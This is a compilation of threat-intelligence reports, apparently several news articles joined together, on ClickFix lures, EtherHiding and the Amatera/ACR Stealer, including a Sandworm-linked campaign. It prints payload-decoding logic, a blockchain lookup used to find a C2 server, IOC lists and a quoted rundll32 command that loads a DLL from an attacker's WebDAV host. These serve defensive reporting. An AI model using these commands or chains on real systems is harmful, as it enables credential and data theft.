data[dataOff+j] ^ key1[j%b] ^ sbox[(j*m1+seed)&0xFF] ^ key2[((j+m3*m2)%b2+b2)%b2] The next DLL stage, GollopDevest, is decoded from the same Nancy.csproj file using the following logic and loaded with AppDomain.Load: for i, k in enumerate(marker_int): if k < 256: payload[i] = k else: payload[i] = marker_int[k-256] EtherHiding and Amatera Stealer The next extracted stage is a DLL called GollopDevest.dll, a .NET downloader that uses the EtherHiding technique to obtain its command-and-control (C2) server and download the next stage. The encrypted C2 domain is obtained using an Ethereum JSON-RPC eth_call request to bsc-dataseed.binance.org: {"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x328a1fadff154290f0ce1389a4e633698cdfdaa7","data":"0x06fdde03"},"latest"],"id":1783436775} This EtherHiding downloader is likely part of a malware-as-a-service (MaaS) operation, as we have detected it being distributed in other campaigns, including ClickFix campaigns. Three additional payloads are then downloaded: two .NET DLLs called PavinWide (an anti-analysis DLL) and GollopDevest (a loader DLL), and a C++ PE called WPA.exe, which is an obfuscated version of Amatera Stealer. In this case, these payloads were downloaded from: /assets/ExponeAboard.json /assets/MailersKogasin.json /assets/LanoseThrip.json The .NET DLLs are heavily obfuscated using control flow flattening, indirect calls through calli/ldftn, string encryption with several algorithms, junk code, dead code, and fake strings such as URL paths. The analysis of these DLLs is still ongoing and will be explored in more detail in the next blog posts. Indicators of Compromise (IOCs) Domains downpro[.]net – Fake download website macisofile[.]sbs – Fake download website visitmama[.]blog – Fake download website visitmama[.]guru – Fake download website getgamerfree[.]com – Fake download website fullgames[.]digital – Fake download website flingbase[.]net – Fake download website citronemu[.]com – Fake download website filemodo[.]xyz – Distribution infrastructure storage06x[.]cfd – Distribution infrastructure p03sil[.]cyou – Distribution infrastructure wimsedas[.]xyz – Distribution infrastructure againstmor[.]store – Distribution infrastructure host03q[.]cfd – Distribution infrastructure cloud01y[.]cfd – Distribution infrastructure storage11x[.]cfd – Distribution infrastructure storage04x[.]cfd – Distribution infrastructure host82p[.]cfd – Distribution infrastructure cloud05y[.]cfd – Distribution infrastructure analyticstrack-pzh[.]click – Tracking website login.orbitalframework[.]cc – Amatera Stealer C2 IP addresses 144.124.251[.]171 – Used to obtain additional payloads 195.63.140[.]33 – Used to obtain additional payloads 78.40.196[.]252 – Used to obtain additional payloads File hashes (MD5) 29203ca123d51b1b33505a0813d360df – First-stage loader (Trojanized DLL) 810F257542018BE0FC62AF542D13D012 – GollopDevest DLL (Downloader DLL) 681DB529E402467A4B0567C82A350FC0 – PavinWride DLL (Anti-analysis DLL) 2E116632248A7E1F8AA6BCA92D9C1C90 – GollopDevest DLL (Loader DLL) F8453EFE408CE25B9484F872797E3D63 – Final payload

Russian state-sponsored threat actors have been observed leveraging the infamous ClickFix strategy to trick Ukrainian targets into infecting their own machines with data-stealing malware. According to the Computer Emergency Response Team of Ukraine (CERT-UA), the activity has been attributed to UAC-0145, a sub-cluster within Sandworm, an advanced hacking unit affiliated with GRU, Russia's primary foreign military intelligence agency. In these attacks, threat actors have been found to leverage fake CAPTCHA checks on compromised websites that instruct prospective targets to execute a PowerShell command in the terminal. "The mentioned command, as an example, could be intended for downloading and saving a VBS file in the Startup autorun directory; one of the variants of such a program was called GHETTOVIBE," CERT-UA said in an alert. The attacks also involve the use of SCOUTCURL, a PowerShell script that performs basic reconnaissance by harvesting details about the infected machine. Some of the other malicious programs found in the infected endpoints are as follows - FLUIDLEECH and LOADLOOP, which act as loaders, with the former masquerading as software for removing computer viruses. FREAKYPOLL, a Python backdoor At least 10 websites are assessed to have been compromised as part of this campaign between June and July 2026. Besides taking advantage of Cloaking.House, a traffic filtering service that makes it possible to serve different pages to different visitors, the attackers have been found to use a bespoke tool called SMARTAXE to dynamically alter the content of a web page depending on the site visitor and display a CAPTCHA check. The CAPTCHA content to be injected into the web page employs the EtherHiding technique to retrieve the domain name of the remote resource from an Ethereum smart contract using an address specified in the source code. CERT-UA said it also identified the threat actor using other attack techniques to break into devices, including backdooring Android devices by distributing APK files via messaging apps, by disguising them as security tools. The malware embedded in the APK file is a full-featured backdoor codenamed COWARDDUCK that can clandestinely collect the following details - Contacts Files matching certain extensions (".conf," ".json," ".ovpn," ".txt," ".doc," ".docx," ".xls," ".xlsx," ".pptx," ".zip," and ".rar") from the directories: "DCIM," "Documents," "Downloads," "Pictures," and "Alarms" Geolocation in real time In tandem, the malware uses the Dropbox cloud service API to upload files, while retrieving commands or data from an external server or from legitimate sites like steamcommunity[.]com. The use of ClickFix by the Kremlin-backed hacking crew marks a departure from prior campaigns that have made use of trojanized installers for Microsoft Windows or Office containing a built-in backdoor or through bogus antivirus software shared via the Signal messaging app. The disclosure comes as ClickFix continues to be an effective social engineering technique for malware delivery across the cyber threat landscape, with bad actors leveraging it to distribute OXLOADER, Mistic, SCMBANKER, ClickLock Stealer, TELEPUZ, and ACR Stealer.

Microsoft has observed a surge in attacks using the ACR Stealer malware to steal browser-stored passwords, authentication tokens, and sensitive documents from its enterprise customers. Between late April and mid-June, the threat actor used the ClickFix social-engineering method, WebDAV servers, and the MSHTA (Microsoft HTML Application Host) utility to deliver the info-stealing payload. ACR Stealer is a malware-as-a-service (MaaS) operation believed to be a rebranding of the Amatera Stealer malware. ACR Stealer attacks While there are multiple delivery methods for the malware, Microsoft highlights two intrusion chains as the most prevalent for ACR Stealer. The first campaign starts with a ClickFix lure that executes a command to run a malicious DLL from a remote WebDAV share using rundll32.exe. Threat actors abusing WebDAV is a common tactic, seen in past attacks delivering Bumblebee and Voldemort malware. In a report this week, Microsoft says that the threat actor typically uses a GUID-based directory structure and filenames in the WebDAV path to mimic legitimate resources (for example, google.ct) and blend the activity with expected network traffic. After establishing communication with the command-and-control (C2) infrastructure, "a heavily obfuscated PowerShell script" is executed to launch a malware installer and establish persistence. The routine installs a bundled Python loader, creates a scheduled task masked as a software update, manipulates timestamps, clears PowerShell history, and injects the final payload into a system process for in-memory execution. Some variants use public blockchain services as dead-drop resolvers to obtain updated payload locations or C2 addresses, a popular technique also known as “EtherHiding.” For the second delivery chain, the threat actor uses ClickFix to launch MSHTA, which retrieves malicious content from the attacker's server and executes an obfuscated PowerShell downloader. The malware then extracts an encrypted payload concealed inside a publicly hosted steganographic JPEG image and executes it directly in memory. Despite the differences, the objective remains stealing sensitive data: Steal passwords, cookies, session data, and authentication tokens stored on web browsers Decrypt browser data through the Windows Data Protection API DPAPI Access Chromium browser databases on Chrome and Edge Search for PDFs and Microsoft 365 documents Collect files from the Desktop and Downloads folders Target enterprise-synchronized OneDrive and SharePoint directories All data is collected and then archived in preparation to be exfiltrated to the attacker. “These two campaigns represent some of the most prevalent ACR Stealer delivery campaigns observed by Defender Experts; however, they do not represent the full range of delivery methods used by this malware family,” Microsoft warns, noting that additional execution chains are very likely to exist. As a general defense rule against ClickFix attacks, users should avoid copying and executing instructions in command interpreters, especially when they claim to fix an error or to verify that they are human. Microsoft recommends that organizations reduce exposure to web-based delivery chains by enforcing filters, blocking low-reputation or new domains, and restricting access to online resources that are not required for business operations. Application control rules can restrict launching content from a remote resource using tools like PowerShell, Python, mshta.exe, or rundll32.exe, especially from user-writeable paths. Microsoft's report provides a larger list of recommended mitigations along with a set of indicators of compromise specific for the observed ACR Stealer activity. Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply. The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments. Get the report

ACR Stealer, an infostealer in circulation since 2024, is walking out of enterprise networks with saved browser passwords, live session tokens, PDFs, Microsoft 365 documents, and files from synced OneDrive and SharePoint folders. It gets in because someone pasted a command into a Run box and pressed Enter. Microsoft laid out two of the delivery chains on Thursday. Its Defender Experts team, the company's managed detection arm, had watched ACR Stealer activity climb across customer environments from late April to mid-June, and says the campaigns are "successfully using ClickFix lures to steal browser credentials, authentication tokens, and sensitive documents." Both chains open with the same prompt, then split: one leaves traces on disk, the other runs almost entirely in memory. Microsoft's remediation guidance tells victims to revoke tokens, not just rotate passwords. A payload in the pixels The prompt likely arrives through malvertising or SEO-manipulated search results, the report says. The fileless chain starts when the pasted command spawns mshta.exe to pull remote HTA content. An embedded VBScript loader leans on COM objects to decode and fire PowerShell; that stage mints a victim ID, disables certificate validation, and runs what it retrieves in memory. What it retrieves is a JPEG from an image host, with the payload sitting in the pixels. Custom routines carve it out, decrypt it, decompress it, and execute it reflectively. Then it goes for Chrome and Edge, reading the Login Data and Web Data databases and invoking DPAPI to decrypt the passwords, cookies, and tokens they hold. The PDFs on the Desktop and in Downloads go too. On May 26, SANS Internet Storm Center handler Brad Duncan documented a Windows infection he traced to a page impersonating Claude, Anthropic's AI assistant, reached through malicious Google ads and often hidden behind sites.google.com URLs. The page served macOS instructions when opened on a Mac and Windows instructions when opened on Windows. Microsoft never names the lure. Two of the indicators in its Campaign 2 table, creativecommunityinfo[.]art and enhanceblabber[.]cc, are listed as a payload host and a C2. The Hacker News matched both to Duncan's chain, which ran through subdomains of each seven weeks earlier, and Microsoft's report cites his diary among the references. That chain also pulled a 628 KB JPEG from ImgBB, an image-hosting service. He flagged it as part of the infection and got nothing out of it: "nor could I find any obvious signs of embedded data." Red Canary had logged Claude-branded lures a month earlier, delivering ACR Stealer through fake Claude Code pages on GitLab such as claude-desktop[.]gitlab[.]io. The other chain leaves fingerprints Microsoft's first chain writes to disk, which leaves defenders more to work with. The pasted command pulls a DLL straight off a WebDAV share over HTTPS, using a GUID directory and a filename built to pass as something else; the report's example is google.ct. Red Canary published the same shape in its May report, from April telemetry, weeks before Microsoft's writeup: "C:\Windows\system32\rundll32.exe" \\sphere-api.dialectosphere.in[.]net\05fe317c-0981-4de2-bc8a-930d369db441\ck-3d80df5d12cdfe6450a782fc87bf66b444.google,#1 Two of the three variants Defender Experts saw use pushd to mount the remote share as a temporary local drive first, so the payload runs through what looks like a local path. The stealthiest wraps that in conhost.exe --headless to kill the console window and hides the strings for pushd, rundll32, and the remote host behind delayed environment-variable expansion. What follows is obfuscated PowerShell. It drops a ZIP into a folder under %LocalAppData%\Temp with an innocuous name; Microsoft's example is LogiOptionsPlus. A bundled pythonw.exe then launches the Python script, so nothing flashes on screen. The installer wipes older copies before installing, which makes it an updater. It persists through a hidden scheduled task posing as a software update, copies timestamps off notepad.exe onto its own files, and clears PowerShell history behind it. The last stage stays in memory, handing execution through the Windows Fiber API. In a subset of these intrusions, a second Python loader talks to public blockchain RPC endpoints and Web3 node infrastructure, likely pulling a payload or a C2 address off a public ledger. Microsoft names the technique EtherHiding: put the pointer in a smart contract, and there is no attacker-controlled resolver left to seize. No bug, no numbers Neither chain exploits a vulnerability. Both inherit exactly what the signed-in user already has, and every layer downstream, the WebDAV mount, the pixel extraction, the in-memory handoff, only runs because a person read a prompt and pressed Enter. There is no CVE in this story. Patching does not remove the paste-and-run path. Microsoft says the lures are working, but never quantifies it. The report gives no victim count, no number of affected customers, and no baseline for the increase it reports. Red Canary's April telemetry at least has numbers. ClearFake, a web-inject cluster that has been feeding ACR Stealer since at least March 2025, took the No. 1 spot on its most-prevalent-threat list for the first time that month, and ACR Stealer entered the top ten at a tie for sixth. The cluster delivers through JavaScript injected into compromised sites, and Microsoft's report does not mention it in either chain. Whose stealer is this? Microsoft is careful about what it claims. It ties the activity to ACR Stealer on observed behavior and post-exploitation tradecraft, checked against what is publicly known about the family's infrastructure, and names no threat actor at all. The caution is earned. ACR, also written up as AcridRain, was marketed on Russian-speaking forums by an actor known as SheldIO, who shut down sales in July 2024. The accounts split on what happened next. eSentire says the source code was sold off. Proofpoint's account differs: the same Telegram channel called the shutdown, not a goodbye from the team, and the Amatera panel surfaced five months later. On the rebrand, they agree. Proofpoint reported in June 2025 that "ACR Stealer was significantly updated and rebranded as Amatera Stealer," priced from $199 a month to $1,499 a year. Red Canary treats ACR and Amatera as one family and assesses ACR itself as an updated GrMsk Stealer. A July 2026 detection labelled ACR Stealer is a behavioral call on a codebase that has been renamed at least once and may have changed owners. The label describes the code. It does not tell you who is running it. Where to stop it One control sits upstream of every technique above: neither chain runs without a user pasting a command into the Run dialog. Cut the vector. eSentire recommends removing the Run prompt via GPO and blocking mshta.exe through AppLocker or WDAC. Use application control and attack surface reduction rules so PowerShell, Python, mshta.exe , andrundll32.exe cannot launch internet-delivered content fromDownloads ,Temp , or%LocalAppData% . Hunt rundll32.exe running with no command-line parameters while making a network connection, which is Red Canary's detection opportunity for this family. Add scheduled tasks masquerading as software updates, timestomping, and PowerShell history clearing. On a suspected host, isolate, rotate credentials, revoke tokens, and check outbound connections to remote shares and image-hosting services. Microsoft shipped three Defender XDR hunting queries and 16 campaign domains with the report. Those indicators are a slice, and the report says so: representative, not the family's full range, with more campaigns and infrastructure likely active. Domains rotate. The ask at the front does not, because it works. The lures overlap rather than replace one another: Red Canary saw fake CAPTCHAs and fake Claude pages in the same April telemetry.